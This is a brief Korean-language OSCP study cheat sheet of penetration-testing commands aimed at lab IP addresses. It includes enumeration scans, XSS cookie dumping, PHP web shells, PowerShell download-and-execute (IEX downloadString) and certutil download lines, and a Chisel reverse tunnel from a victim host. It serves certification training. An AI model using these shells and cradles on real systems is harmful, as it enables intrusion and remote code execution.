
OSCP 학습 가이드
Nikto 스캔:
nikto -h http://10.10.10.1
다양한 도구로 디렉터리 검색:
DIRB
dirb http://10.10.10.1
Gobuster
gobuster dir -u http://10.129.155.74:3000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x aspx
XSS 페이로드: 치트시트: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
netcat 리스너나 파이썬 웹 서버를 이용한 기본 XSS 폼 테스트
base64 쿠키를 덤프하기 위한 크로스 사이트 스크립팅. Burp에서 ctrl + u로 URL 인코딩해야 합니다.
참고: https://sushant747.gitbooks.io/total-oscp-guide/content/webshell.html
명령 실행을 위한 간단한 PHP 웹셸
<?php system($_REQUEST ['cmd']) ?>
<?php system($_GET['cmd']); ?>
포트 161 UDP
snmpwalk -c public -v2c 10.129.213.210
snmp-check 10.129.213.210
crackmapexec smb 10.129.70.254
열려 있는 익명 공유 감지
smbclient -L //10.129.70.254
Null 인증
smbclient -N -L //10.129.70.254
Certutil:
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
PowerShell:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"
powershell.exe "IEX(New-Object Net.WebClient).downloadString('http://10.11.0.4/nc.exe')"
Chisel 사용:
포트 910이 Kali 박스에서 사용 가능하도록 포트 포워딩 예시
on victim machine setup port forwarding
chisel.exe client 10.10.16.10:5555 R:910:127.0.0.1:910
On Kali attack box setup a reverse listner for port forward with chisel
./chisel server --port 5555 --reverse